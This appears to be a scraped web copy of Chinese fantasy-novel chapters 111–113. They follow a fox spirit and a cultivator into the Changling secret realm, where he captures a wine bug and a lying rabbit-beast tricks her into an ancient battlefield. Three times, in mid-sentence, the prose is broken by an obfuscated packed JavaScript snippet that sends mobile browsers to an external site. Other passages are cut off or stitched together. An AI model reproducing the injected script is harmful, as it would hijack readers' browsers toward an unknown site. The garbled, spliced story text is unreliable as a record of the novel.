“天星宗的人排场真不小。”石珊珊望着那艘气势非凡的飞舟,撇了下嘴。 分明都是三大仙宗,只有天星宗弟子的出场如此高调。 天星宗? 胡翘翘的心中陡然升起一股亲切之意。 她曾听小青说过,她所修炼的太阴感应诀,正是来自于天星宗。 飞舟悬浮半空,舱门缓缓打开,几道身影飞了出来。 他们身着颜色各异的法袍,但无一例外,上面都绣着复杂而精美的星云图案。 为首的是一名身穿金色星云法袍的魂宫境中年修士,在他身后,还跟着几名年轻修士,他们的法袍分别是黑色、天青色和淡绿色,想必就是此次代表天星宗参加长陵秘境的弟子了。 “这次是巨门、天机和天梁三脉!”人群中传来窃窃私语。 “咚!咚!咚!” 三声浑厚的钟声响起,宣告着摇号仪式正式开始。 高台之上,一个巨大的水晶球缓缓升起,里面翻滚着无数个光点,每个光点都代表着一个人的命运。 这次负责主持摇号的便是五行宗那宫装美妇,她脚步一迈,便已落上高台。 “吉时已到,现在开始摇号!” 话音刚落,水晶球剧烈震颤起来,里面的光点也随之疯狂旋转,仿佛要挣脱束缚,冲破牢笼。 人群屏住呼吸,目光紧紧追随着那些光点。 第一个光点幽幽地飞上天空,在空中显出一个号码。 “第一个,第一千五百二十一号。” 宫装美妇宣布。 “啊!是我!我中了!” 人群中,一个样貌粗犷,像武夫更多过像修士的散修,一脸不敢置信地跳了起来,他激动得满脸通红,双手颤抖着捧着手中的号码牌。 “中签的道友这边请。”宫装美妇微微一笑,素手轻抬,对着高台的空处轻轻一划,示意对方站去那里。 那名散修连忙飞身而上,于高台之上意气风发地站定,下面的散修们都投以羡慕的眼神。 接下来,宫装美妇每宣布一个号码,人群中就会爆发出一个欢呼或叹息。 “第六个,第三千六百零九号。” 一个身材挺拔,样貌却平平无奇的青年修士飞上高台,略一拱手后,对宫装美妇亮出了手中的号码牌。 ”咦,是他?“胡翘翘微微一怔。 对方不是前几日帮她制住那圆脸修士的人么? 这么巧,他竟也摇中了去长陵秘境的号? 第111章 雀妖相邀 摇号还在进行。 陈子均站在高台上,目光平静地注视前方。 很快,又摇出了几名散修。 “第九位,四千零十一号。” 一个年轻散修飞上台,这人长相平凡,脸色苍白得吓人,仿佛身患重病,尤其是一双三角眼,透着说不出的阴翳。出示了号码牌之后,便默默地退到角落,一言不发,仿佛一团随时会散开的阴影。 这人…… 陈子均心中一动。 这不是当日利用鬼门开启之力,从轮回界来到人间又借着那小伙计的尸体还魂的阴魂么? 对方当时曾提及“秘境”两字,看来,他口中所说的“秘境,”就是这长陵秘境了。 不知道对方用什么方式,竟也能将自己的实力隐藏在凝魂境,而如此大费周章,要去这长陵秘境,又有什么目的…… 他思绪电转,目光和神情却始终平静无波。 又是两位幸运儿诞生,终于轮到了最后一个名额。 “最后一位,第一万两千五十八号。” 人群一阵骚动,片刻之后,一个模样老实憨厚的圆脸修士飞了上来,朝众人拱了拱手,带着一丝腼腆和局促地笑道:“真不好意思,最后一个名额竟让在下给撞上了,大概是走了狗屎运吧。” “怎么是那个骗子!”石珊珊顿时瞪大了眼。 竟让这人摇中了去长陵秘境的号。 她怒火填膺,脚一跺,就要冲上台,去将这圆脸修士揪下来。 “石师妹,别冲动!此刻长陵秘境开启在即,有什么事情,都等进了秘境再说。”许曼眼疾手快,一把拉住了她,同时眼波瞟向胡翘翘,语气含糊,“何况,进秘境之后,有……在,你还怕他跑掉么?” 石珊珊顿时被说服了,狠狠剜了那圆脸修士一眼。 罢了,就让他先得意片刻。 等进了长陵秘境,哼哼…… 到时候,看她怎么收拾这骗子! 石珊珊心中暗暗发狠,看向那圆脸修士的目光,已经如同看着一个死人。 宫装美妇的声音清脆悦耳,传遍全场:“好了,本次去长陵秘境的摇号结束,请未中签的道友们有序散去,准备进入秘境的道友请做好准备,半柱香之后,长陵秘境的入口便会开启!” 终于要去了么? “我一定会找到长生花的!”胡翘翘紧紧攥着小手,心中暗道,“相公,等我回来!” 时间在流逝,大部分的散修都渐渐散去,喧嚣声也随之消散。 所有人都在为即将开启的未知旅程做着最后的准备,空气中仿佛弥漫着一丝紧张的味道,又夹杂着期待和兴奋。 宫装美妇继续交代一些注意事项。 “秘境开启的时间只有十息,大家要抓紧时间。” “三日之后,秘境将会再次关闭,届时自会有所提示,请诸位尽快赶回入口处,否则,一旦错过离开的时间,就需要再等百年!” “长陵秘境区域辽阔,机缘与风险并存,诸位都是人间种子,未来栋梁,还望各位进入秘境之后,谨慎行事,量力而为,切勿轻率冒进,徒失性命!!” …… 人群中,许曼悄然从怀中取出一枚看似平凡无奇的铜钱,递到胡翘翘手中。 “胡道友,”她低声说道,“进入长陵秘境之后,所有人都会被随机传送至不同地点。这是我们五行宗的靑蚨钱,你也拿上一枚,切记,不要将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892982|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它放入储物袋中,而是要随身携带。” 她压低声音,解释道:“只要你与我,或是石师妹之间的距离来到百里之内,它便能产生感应,指引我们相见。” “靑蚨钱?”胡翘翘好奇地接过铜钱。 入手还挺沉,一面镌刻有“五”字,一面是个“行”字。 许曼见她感兴趣,想着前辈是散修,又避世隐居,不知道这近百年来才出现的“靑蚨钱”,倒也正常。 “青蚨,乃是一种奇特的灵虫,长得有点像是知了,但通体是青碧色,比知了要更大更美丽。”她便详细解释道,“青蚨最奇特之处,在于其母子之间有着难以割舍的羁绊,一旦分离,便会想方设法地重聚。因此,不少宗门便借鉴了青蚨的这一特性,炼制出一种特殊的法宝,名为靑蚨钱。每个宗门的青蚨钱感应之力又都略有不同,再将其分发给门下弟子,这样一来,在一定距离内便能互相感应,找到彼此,遇到危险也不至于孤军奋战。” 胡翘翘郑重地将这枚靑蚨钱贴身放好,心中顿时又多了几分安稳。 下一瞬,小狐狸的脑海中忽然跳出了一个险些被忽略的关键问题、 “那个,长生花长什么模样?” 否则等到了秘境,她见到长生花也不认识,那才叫郁闷呢。 “我也想到了这点。”许曼抿唇一笑,从储物袋中取出一张纸,在胡翘翘的眼前展开。 一朵灵花跃然纸上,形状宛如莲花,花瓣莹白如雪,叶片透着翠绿的光泽,唯有花蕊泛着淡淡的金色,隐隐约约间似有流光在其中流转。 胡翘翘认真看了半天,将长生花的模样在脑中牢牢记下,才珍而重之地收起了那张纸。 半柱香的时间,转瞬即 第112章 寻宝酒虫 鼠妖首领人立而起,盯着陈子均,小眼中闪过一抹寒光。 “看来,这闲事阁下是非管不可了?!” 那青色火焰的可怖威力,方才虽然令它心悸,但现在回想一下,自问只要速度够快,躲开也并非难事。 陈子均笑了。 “倘若,我说是呢?” “阁下可知,管闲事是要有实力的,”鼠妖首领冷笑一声,“没有实力,那就叫惹火烧身、自寻死……” 话音未落,但只见对方指尖微动,一阳两阴三道虚实符文,一闪而过。 鼠妖首领周围的空间仿若凝固,一种奇异力量瞬间爆发,宛如一座巨山,直接压下。 他根本抵御不住,甚至来不及发出一声哀鸣,便啪叽一声地被死死压在地上,动弹不得。 艮为山! 可直接镇压任何实力不强过自己的目标! “这样的实力,够了么?” 陈子均淡淡问了句。 鼠妖首领脸都吓白了,却仍厉声威胁,“阁下用了什么妖术,我警告你,不许伤我一根汗毛,否则等我的同族们赶到,每人一口,就足以将你啃得尸骨无存!” “你倒很有骨气。” “哼,不信的话,阁下不妨试试!” “我向来很尊重别人的建议,”陈子均笑了,“那我就试一试。” 他伸出手,虚虚一握。 鼠妖忽然感觉身上的压力倍增,自己仿佛被一只无形的大手牢牢攥住,骨头要被击碎,内脏被挤得咕唧作响,心肝脾肺肾似乎都要被从嘴里挤出来。 “这位……这位大仙,小鼠是和你开玩笑的,我们素不相识,无冤无仇……何必生死相搏……,”鼠妖被挤压得痛苦不堪,艰难地从喉咙里挤出断断续续的声音,“阁下高抬贵手,饶我一条鼠命吧……哎呀!” 噗嗤一声,一股难以言喻的恶臭从它屁股中曼延出来。 雌孔雀连忙用翅膀捂着尖喙,一脸恶心:“你怎么胡乱拉屎,真不讲卫生!” “不……不是屎……”鼠妖涨红了脸,悻悻道,“是、是屁……但、但是再挤下去,就真的……” 陈子均:“……” 他略微减轻了几分力道,鼠妖这才得以喘息,却依旧被压得死死的,无法动弹。 “多谢尊驾出手相助,这份恩情,小雀没齿难忘。”雌孔雀上前,姿势优雅地向陈子均道谢,华美的尾羽随着她的动作轻轻颤动。 “举手之劳,不必客气。”陈子均淡淡回应,沉吟片刻,又问道,“需要我帮你杀了它么?“ 雌孔雀还没说话,鼠妖已经被吓得夹起腿,忍住那股更强的屎尿之意,“呜呜呜,大仙,小鼠知错了,您大仙有大量,高抬贵手把我当成个屁放了吧。” 陈子均,“我不是大仙,更没有大量。” “……小鼠死的时候定然屎尿齐流,杀小鼠,只会脏了您的手,”鼠妖首领又转向雌孔雀,苦苦求饶道,“我对天发誓,再也不会来偷蛋,也不敢再和孔雀一族作对了,您帮我和大仙求个情吧?” 雌孔雀厌恶地扇了扇翅膀,转向了陈子均,道:“尊驾有所不知,我们孔雀一族最爱洁净,这畜生若死在这里,怕是会污了这方净土,以后想起来,唯恐会留下什么心理阴影……” 鼠妖正面露喜色,就见雌孔雀笑着道:“能不能劳驾尊驾将它拿到远一点的地方再杀,这样就不会污了我们的住所了。” 陈子均点头:“可以。” 说着,他五指虚空一握,那鼠妖便觉尾巴一紧,整个都被倒吊了起来,差点又将尿给吓了出来。 正魂飞魄散之时,它脑子里突然灵光一闪。 对了,这些外界修士,似乎最爱各种奇珍异宝,也极爱往一些奇奇怪怪的地方钻。 顿时便如抓住救命稻草一般地大喊道:“大仙手下留情,小鼠我知道一处藏有宝贝的所在,若是大仙饶我一条鼠命,我愿将那所在告知大仙,以表谢意!” 陈子均动作一顿,似笑非笑地望着鼠妖,“哦?真的吗?” 鼠妖忍着尾巴处传来的疼痛,心里把陈子均祖宗十八代都问候了个遍,脸上却依旧堆着谄媚的笑容,信誓旦旦道,“小鼠以性命担保,绝无半句虚言!只是那所在的入口十分隐蔽,需要小鼠亲自为大仙带路才行。” 雌孔雀生怕陈子均意动,连忙出言劝阻:“尊驾千万不要轻易相信这只鼠妖的话,它十分奸诈,诡计多端,这些年来,我们孔雀一族上过它不少当,它口中吐出的话,连一个字都不可相信!” “呸,你这只杂毛娘们,想害我性命便直说!”鼠妖首领大怒,振振有词地道:“我们两族世代为敌,对敌人自然是兵不厌诈,我和大仙无冤无仇,性命又捏在大仙的手里,怎敢胡言乱语,那不是找死吗?!” “哼,鼠辈之言,一个字都不能听信!”雌孔雀朝它吐口水。 “杂毛娘们!羽毛多心眼坏,只会挑拨离间!”鼠妖大怒,又看向陈子均,谄媚卑微,“大仙,小鼠亲自引路,您难道还不放心么?就算有什么陷阱,小鼠也在前面,首当其冲呀!” 陈子均问。“此地距你所说之处,有多少路程?” “大仙放心,不算太远,约莫七八里路。” 陈子均想了想,伸手摘下一片树叶,在上面绘制了些符文,递给雌孔雀。 “左右无事,我同它去看看,如果这边有了我要寻找的人的消息,毁掉这片叶子,我就会得知,马上赶回。” 雌孔雀将叶子以羽翼轻捧,轻声道:“想必尊驾是成竹在胸,小雀也不多嘴多舌了,只是这鼠辈奸诈,尊驾凡事要小心为上。” “多谢提醒,我自会注意。” 陈子均解了艮卦之力,对鼠妖道,“前面带路吧。” “是是。” 陈子均和鼠妖一后一前,乘风而行,很快便来到一处波光粼粼的小河之上。 “大仙可通水遁之法?”鼠妖悬停在半空,扭头问道。 “这是自然,”陈子均笑了一下,又问,“听你的口气,入口是在水中?” “大仙果然神机妙算。”鼠妖抬起前爪,指着下方水中的一块大青石,“入口就在这石头之下,一般人根本无法发现。” 陈子均问,“那你又是如何得知?” 鼠妖连忙解释道,“说来也是机缘巧合,百年前的今日,小鼠被一只凶恶的鹰妖追赶,无奈之下只能跳入河中躲避。情急之下,便躲藏于这石头下方,却意外发现了一个隐蔽的入口。” 它顿了顿,仿佛陷入了回忆,“小鼠我进去之后,没走多远便被一片迷雾笼罩。我在里面兜兜转转,筋疲力尽之时,忽然听到一男一女的声音传来……” “他们似乎是从外界而来的修士,因为迷雾遮掩,并未发现我。而许是因为那入口隐蔽异常,他们也未曾料到此处还藏着一只鼠妖,所以说话毫无顾忌。只听那男子说,他知道这迷雾之中藏有宝物,而且是价值连城的珍宝。” “女子好奇,追问他是如何得知。那男子起先还不肯说,后来女子又是撒娇又是生气,最后还立下毒誓,表示绝不泄露,他才肯说出实情。原来,他手中有一只酒虫,善于寻宝,所以才能知晓。” 说到此处,鼠妖忍不住抬起前爪,挠了挠脑袋,“小鼠也不知道那酒虫究竟是什么,可能是一种外界的虫子吧。不过听那男子的口气,对这酒虫的本事深信不疑,认为这迷雾之中,定然藏着什么了不得的宝贝!” 陈子均听完,心中却是微微一动。 酒虫,是传说中的一种妖虫。 世间妖怪,多以飞禽走兽和水族为主,虫妖的数量极少。 这是因为虫类寿命短暂,又天生弱小,除非得遇天大机缘,否则极难开启灵智,踏上修行之路。 即便侥幸成妖,相比于其他妖怪,大部分虫妖的实力也极为有限。但虫妖却有一个奇异之处,那便是在成妖之时,有极低的概率发生变异,从而拥有某些罕见而奇特的天赋。 这酒虫,便是传说中拥有寻宝天赋的奇异虫妖! 它嗜酒如命,同时又精通寻宝之道,即便宝物藏匿于重重阵法之中,也逃不过它的感应,越是珍稀的宝物,它的感应之力也会越强。 只要以美酒将其喂饱,它便会为主人寻找宝物作为回报。 若是将天下修士梦寐以求的妖宠排个名次,酒虫必然稳居榜首。 只可惜,酒虫的数量太过稀少,世间罕见。 首先,虫类成妖本就困难重重。 其次,即便侥幸成妖,能够发生变异的也是凤毛麟角。 最后,即便真的发生变异,能够变异为酒虫的概率,更是微乎其微,不足万分之一。 因此自古至今,有记载的酒虫也不过寥寥数只而已。 陈子均不动声色,再次问道,“后来呢?” “后来那女子又提出,让男子将酒虫取出来给她看看,男子起初不答应,耐不住女子百般求恳撒娇,终于松了口……”鼠妖似乎陷入了回忆,语速放缓了两分,“这时,小鼠我也有些好奇,仗着雾气遮掩,悄悄朝那两人靠近,想看看酒虫长什么样儿……” 说到这里,鼠妖咽了口口水,似乎回忆起当时的情景还有些心有余悸。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892983|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料,我才刚凑近了,就看到那女子突然动手,她手里拿着一把像爪子一样的武器,猛地刺穿了那男子的胸口!那男子连哼都没哼一声,顿时气绝!”它声音陡然变得尖锐了几分! “小鼠吓了一跳,好险才没叫出声,那女子却像没事人一样,踢了那男子的尸体一下,才冷笑着说,她早就知道男子手中有条酒虫,接近他便是为了哄他拿出酒虫,从而抢走酒虫……谁知她话刚说完,那男子的尸体突然又直挺挺地跳了起来,他张开嘴,口中吐出一抹白光,直接穿透了女子的眉心!最后,他们两人竟是同归于尽!” 鼠妖声音轻颤,“小鼠吓了一跳,趴在原地,动也不敢动,等了许久,他们都毫无动静,小鼠才壮着胆子上前……” 它在二人的尸体上仔细搜寻,找到了两个储物袋。 因为主人已死,袋子上的禁制也消失了。它从袋中得到了两三件低级法宝、几瓶丹药和几本书。 在法宝中,还有一张随机传送符,它便靠着随机传送符逃离了那片迷雾。 如今丹药它已经吃得差不多了,至于它之前 仿佛对他来说,眼前的迷雾,只是一层薄纱。 不,连薄纱都不是,仿佛对他来说,这迷雾完全不存在。 走出一段路之后,迷雾中,忽然又有一个奇怪的声音响起。 这声音轻柔悠长,温柔又甜蜜,乍一听,似乎距离很远,但有时候,又非常之近,虚无缥缈,令人难以捉摸。 好像是一个情窦初开的少女,在迷雾中飘来荡去,哼唱着给情郎的歌儿。 陈子均却恍若未闻,前行的脚步,没有一丝停顿。 迷雾翻涌,轻柔悠长的歌声继续如丝如缕地飘来。 它越来越近,越来越清晰,近到似乎就在耳边,就像是满腹柔情的少女,贴在情郎耳畔,温柔地呢喃哼唱。 让人心旌动摇,忍不住便想往那歌声的方向走去。 看看,这唱歌的少女,究竟是什么模样。 为何她的歌声,如此缠绵,婉转,又如此…… 让人心碎。 但陈子均仍旧头也没回。 他每一步迈出,虚空之中,便有阴阳阳、一虚二实符文在闪烁。 兑为泽! 稳固道心! 任你万变,我道心不变! 那歌声似乎感受到了陈子均的决心,渐渐平息了下去,迷雾也仿佛恢复了平静。 但就在这时,一只骨节嶙峋的手掌,悄无声息地从迷雾中伸了出来,慢慢地,探向陈子均的背后…… 陈子均并未回头,却仿佛后脑也生了眼睛,轻吐一声。 “艮!” 话音刚落,这手臂便被一股无形的力量镇压,顿时发出凄厉惨叫,与此同时,迷雾中那唱歌的女子,也爆发出一声惨叫! 两道半透明的身影从空中跌落,赫然是一对男女,都做修士打扮。男子胸口处有一道触目惊心的伤口,仿佛被某种利爪撕裂,而女子的眉心则被贯穿,留下一个血洞。 前方的迷雾中,两具干枯的尸体倒在地上,衣着面容与那对男女阴魂一般无二。 陈子均扫了这两具干尸一眼,便收回了目光。 这里是秘境,自成一方天地,不通轮回,魂差也无法抵达,是以这两人死后阴魂不散,只能滞留在此处,化为厉鬼,本能想寻找活人附身。 陈子均正欲抬脚离开,却又突然停住。 既然这里出现这两具干尸,那么,方才那只鼠妖所说的,应该并非虚言。 如此说来……此处,也应该存在着那酒虫! 虽说已经过了百年,这阵法中应该也无法觅食,但酒虫毕竟是虫妖,吞吐天地元气便可存活,未必不能撑到今日。 只是这迷雾本身就是一座阵法,有阻碍神念的作用,加上他压制了修为,此刻也无法以神念去探寻出酒虫的准确所在。 沉吟了下,陈子均取出了那一葫芦的猴儿酒,拔出塞子。 顿时,一阵浓郁的酒香扑鼻而来。 他轻拍了一下葫芦,从葫芦内便飞出了一小滴猴儿酒,滴在地面上。 香醇的酒气,宛如无形的触手,很快就在这迷雾中扩散开来。 滴了这一滴猴儿酒之后,陈子均便将葫芦重新盖上,再次收起。 他知道,对于嗜酒如命的酒虫而言,这香气如同黑夜中的明灯,无法抗拒。 站在原地,闻着酒香,等了片刻,却不见任何动静。 陈子均也不急躁,干脆撩起衣摆,索性盘膝坐在地上,闭上双眼,宛如一尊石像,平心静气地继续等待。 第113章 镜中心魔 不知过了多久,陈子均忽然心有所感,猛地睁开双眼。 嘴角微微上扬,露出一丝不易察觉的笑意。 目标出现了。 一只通体赤红的小虫,缓缓地从不远处的迷雾中探出头来。 它只有两寸来长,形似蚕宝宝,头顶却生着一对细长的触须,触须微微颤动,仿佛在感知着空气中那令它沉醉的气息。 一双红宝石般闪耀的双眼,散发着奇异的光彩,那是对美酒的渴望,也是对未知的恐惧。 正是酒虫! 它显然也察觉到了陈子均的存在,本能的恐惧让它想要逃离,毕竟对于一只弱小的酒虫来说,人类修士几乎是不可战胜的存在。 而且,所有的人类修士,都会想要以美酒为诱饵来捕捉它。 可是,猴儿酒那浓郁的酒香,对酒虫来说,却如同致命的诱惑,难以抗拒。 毕竟对嗜酒如命的酒虫来说,被困在这片迷雾中,上百年滴酒未沾,此刻,别说香醇浓厚无比的猴儿酒了,哪怕是连一滴最劣质的酒,现在对它来说,都是强大无比的诱惑! 是为了美酒,被人捕捉? 还是抵抗诱惑,享受自由? 对于一只小小的酒虫来说,这选择,委实太过艰难。 它在原地犹豫许久,最终还是抵挡不住猴儿酒的诱惑,朝着那滴猴儿酒所在的方向,小心翼翼地飞起来。 若为美酒故,自由亦可抛! 酒虫飞的模样,十分有趣,那圆滚滚胖乎乎的身子一拱一卷,然后用力一弹,便能往前飞出一长截。 很快,它便飞到了猴儿酒附近,然后迫不及待地落在地上,凑近酒滴,开始吮吸。 陈子均没有采取任何动作。 酒虫既然来了,必然不可能再跑掉,让它享受够了再变俘虏,多少也算不亏待它。 …… …… 陈子均这边静静等待着酒虫上钩,而另一边,胡翘翘正漫无目的地在秘境中游走,一双灵动的大眼睛,不时地扫视着周围的花花草草。 “长生花……长生花……” 这秘境之中,倒是生长着不少模样奇异的花草,可惜她对这些一概不认识,就算认识,她也没多大兴趣,只是一门心思地想找到长生花。 “长生花,长生花,到底在哪儿呢?” 走了许久,也不知看了多少奇花异草,却始终没有找到目标,小狐狸不禁有些气馁。她找了一块平坦的石头坐下,摘下脸上的面具,小手托着下巴,深深地叹了口气,“唉,也不知道相公现在在做什么,有没有想翘翘啊?” 明明才和相公分开一小会儿,她就已经开始好想他了。 有记忆以来,她几乎天天和相公在一块儿,从未分开过这么长的时间。 这种感觉让她既陌生又难熬,仿佛时间都被拉得无限漫长。 小狐狸第一次体会到了什么叫做一日不见如隔三秋的感觉。 而一进长陵秘境,就要等三天后才能出去…… 小狐狸掰着手指头,认真地算了算。 一三得三,三三得九。 那就意味着,她要等九个秋天那么漫长,才能再见到相公了…… 一想到这里,小狐狸心中便充满了惆怅, 她从储物戒里,拿出了一件陈子均的旧衣裳,放在鼻子前轻轻嗅着,感受着上面残留的熟悉气息。然后,她又将衣服抱在怀里,用脸蛋儿轻轻蹭着,像是对待心上人一般温柔。 算是勉强安慰了一下相思之苦,她才将衣服珍重地放回储物戒中,重新振作精神,握紧粉拳,给自己打气道:“不要紧,只是短暂的分别罢了,为了能更长久的和相公在一起,我一定要努力,找到长生花,为相公延长寿命!” 就在这时,一个怯生生的声音从她身后传来:“这位姑娘,请问你是在找什么吗?” 胡翘翘一愣,回头一看,只见一只半人高的兔子,正站在她的身后不远处。 这兔子全身雪白的绒毛,像一团柔软的云朵。但奇怪的是,它却长着一张人脸,模样十分乖巧可爱,正眨巴着一双水汪汪的大眼睛看着她。 看起来有些怪异,却一点也不可怕。 “啊?长了人脸的兔子?”小狐狸惊呼一声,眼睛瞪得溜圆。 她还是头一回见到这种长相奇特的兔子。 人面兔似乎被胡翘翘的反应吓了一跳,往后退了两步,两只长长的耳朵不安地抖动着,小声说道:“我,我是这长陵秘境里的一种灵兽,叫做诚兔,我们天生就长这样。” “诚兔?” “嗯,这名字的意思是,我们从不撒谎,最为诚实。” 说完,它又乖乖巧巧地问道,“方才我听到姑娘似乎在找什么东西,有我能帮得上忙的地方吗?” 胡翘翘心中一动,连忙问道:“我想找长生花,请问,你知道在哪儿可以找到它吗?” “长生花?”诚兔歪着头,似乎不太明白。 胡翘翘转念一想,长生花是外界的叫法,对方或许见过,却无法与名字对应起来。 她连忙比划道,“一种白色的花,有金色的花蕊,还会发光……”又将之前许曼给她的, 长生花的画像给拿了出来,“便是这种花,请问你见过吗?” 诚兔闻言,立刻凑上前来,盯着画像仔细端详了片刻,而后抬起头,若有所思地说道:“我虽然没见过这种花,但我曾听闻一个朋友说过,他遇到过与画像上一模一样的花!” “真的吗?”胡翘翘的眸子顿时亮了起来,充满了惊喜。 “当然是真的,我们诚兔从来不骗人。” 它指着西南方向,“朝这边走,大概一百多里远,有个废弃的城墟,里面便能找到这种花。” “真的吗?” “千真万确,我那朋友亲眼所见,绝不会错的。” “那真是太好了!你帮了我大忙!”胡翘翘欣喜万分,连忙掏出一把零嘴儿塞给它,“这些送给你,作为感谢!!” “没,没关系,你,你快去找长生花吧。”诚兔受宠若惊,显得更加腼腆。 “那我先走了,谢谢你啊,小兔子!“胡翘翘心急如焚,告别的话还未说完,便转过身,一阵风似的跑远了。 望着她远去的背影,兔子脸上露出一丝意味深长的笑容,低声自语道:“去吧,去吧……” 胡翘翘刚走了没多久,天上飞来一只孔雀,盘旋一圈,口吐人言,“喂,你可曾见过……” 它细致地描绘了一番胡翘翘的样貌。 “没有。”兔子摇摇头,乖巧可爱的脸上全是无辜,“我一直在这里晒太阳,什么人都没见过。” “……你是讹兽,”孔雀一眼就看穿了它的谎言,“你说没有,那一定是见过了!” 长陵秘境中,讹兽的名声可谓臭名昭著。它们生性狡诈,口中从不吐露半句真话。更可气的是,它们有时骗人并非为了任何好处,纯粹是为了戏弄他人,以此为乐。 被孔雀当面揭穿,讹兽也不恼,反而笑嘻嘻地晃着脑袋,“谁说的,我们偶尔也会说几句真话的。” “少废话!快说,她往哪个方向去了?”孔雀有些不耐烦了。 “我为什么要告诉你?”讹兽一脸得意。它很享受这种把别人耍得团团转的感觉。 “你……”孔雀气得七窍生烟,拍着翅膀威胁道,“你要是不老实回答,我就将你的舌头打个死结,永远都解不开的那种!” “……” 讹兽的面色一变。 它们的弱点便在舌头上,一旦舌头被打结,它就再也无法说谎,更无法使用妖力。 “好吧好吧,我分才见过她,她往东边去了。”讹兽心不甘情不愿地回答,但眼珠子却滴溜溜地乱转。 “你说东边,那定然不是!”孔雀冷笑,翅膀一指北方,“我猜她是往那边去了。” “对对对,你真聪明!”讹兽笑嘻嘻地拍手,一副天真无邪的模样。 看来又猜错了。 “往西方走了?” “对对对。” 孔雀又连猜了数个方位,突然想到一个可怕的可能性,它猛地一指西南方向:“难道是往那边去了?” “不对,不对!”讹兽摇头,回答斩钉截铁,没有丝毫犹豫。 西南方向! 孔雀心中一沉,顾不得再和讹兽纠缠,它连忙振翅高飞,朝着孔雀谷的方向疾飞而去。 那一带,是万年前神魔大战的古战场,至今仍残留着大量的魔气,但凡进去之人,都很少能活着出来! 必须尽快回去,禀报给族长! …… …… 飞出大概上百里,胡翘翘的妖气便用尽了。 她只好落到地上,一边走,一边等它慢慢恢复。 随着脚步,周围的景象一点点变得荒凉。 过了片刻,一个极为诡异的地方出现在她的眼前。 这里原本应是一座巨大的城池,但此刻,已经处处坍塌,房屋破碎不堪,像是被地狱之火灼烧过,狰狞可怖,空气中更弥漫着一种带着血腥气的腐败气味儿,令人作呕,几乎窒息。 “这是什么地方……”胡翘翘看着那片废墟,忍不住打了个寒颤。 阴冷的风吹过,带来阵阵呜咽,像是有什么东西藏在暗处,正贪婪地盯着她,让她如芒在背。 咚咚,咚咚…… 胡翘翘的脚轻轻地踩在地面上,心跳如擂鼓般响亮。 这废墟,怎么看都十分诡异,完全不像是会有长生花生长的地方啊! 她该不会是被方才那个小兔子给骗了吧? 唉,全怪她见对方长得单纯可爱,便没怀疑过对方有说谎的可能性。 还是相公说得对,人心尚且隔肚皮,更何况狐狸和兔子…… 以后,除了相公之外的任何人,她都不会再轻易相信。 “要不要进去呢?” 胡翘翘站在离城门不远的地方,一双小脚踟蹰不前。 陈子均的交代,又在她的脑中响起。 “……若有危险,务必以你自己的安全为重!” 但是…… 万一,万一,那小兔子没有骗她,里面真的有长生花呢? 小狐狸迟疑了许久,终于深吸一口气,下定了决心, “我、我就进去看一眼,如果有什么危险, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892984|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻离开!这样一来 ,就不算不听相公的话了!“ 她如赌咒发誓地说完,壮起胆子,毅然决然地踏出一步。 …… 废墟之中,静谧无比,只有她轻轻的脚步声。 这里的风很冷,每一下吹拂,都带来阵阵腐朽而血腥的气息,像是埋葬了千年的尸骨,在泥土下无声地哀嚎。 除了她自己,这里似乎连一个活着的生物都见不着! 胡翘翘的心脏砰砰乱撞,手心开始渐渐冒出冷汗。 突然,脚下传来一阵异样的触感。 咔嚓。 胡翘翘低头一看,差点跳了起来。 映入眼帘的是一段惨白的骨骼,也不知是什么生物的遗骸,许是岁月过于漫长,这段骨头已经风化严重,变得十分脆弱,她一脚踩上去,竟将它直接踩碎了,那咔嚓一声,便是它断裂发出的。 胡翘翘连忙后退一步,脚下再次传来「咔嚓」的脆响,又是一段白骨被踩碎。她放眼望去,这才发现,这一片竟四处散落着白骨,只是多数被泥土掩埋,乍一眼看不清罢了!! “这里怎么有这么多骨头?!” “这一带是被魔族占据的一座古城,后来神魔大战爆发,这里便成了战场。那一战,战死的魔族超过十万,有骨头有什么可稀奇的。” 谁在说话? 胡翘翘回头,只见一位身穿黑色星光法袍的女修悬停于半空,衣袂飘飘,说话的,想必便是她了。 这女修看着十八九岁的模样,眉宇间带着一股掩饰不住的傲气。她的视线落在胡翘翘的俏脸上,眼眸深处,一抹微不可查的妒忌之色,一闪而过。 “你、你是谁?”胡翘翘下意识地后退了一步,开口问道。 “天星宗,巨门星宫弟子,李玥。”女修回答,简单的几个字,语气也很淡,却有种自然的居高临下, 就仿佛,作为天星宗的弟子,她天生便应该高出其他修士一头! 她又瞥了胡翘翘一眼,“你一个感应境的小修士,来这种危机四伏的神魔战场干什么?” 胡翘翘咬了咬嘴唇,低声回答,“我来寻找长生花。” 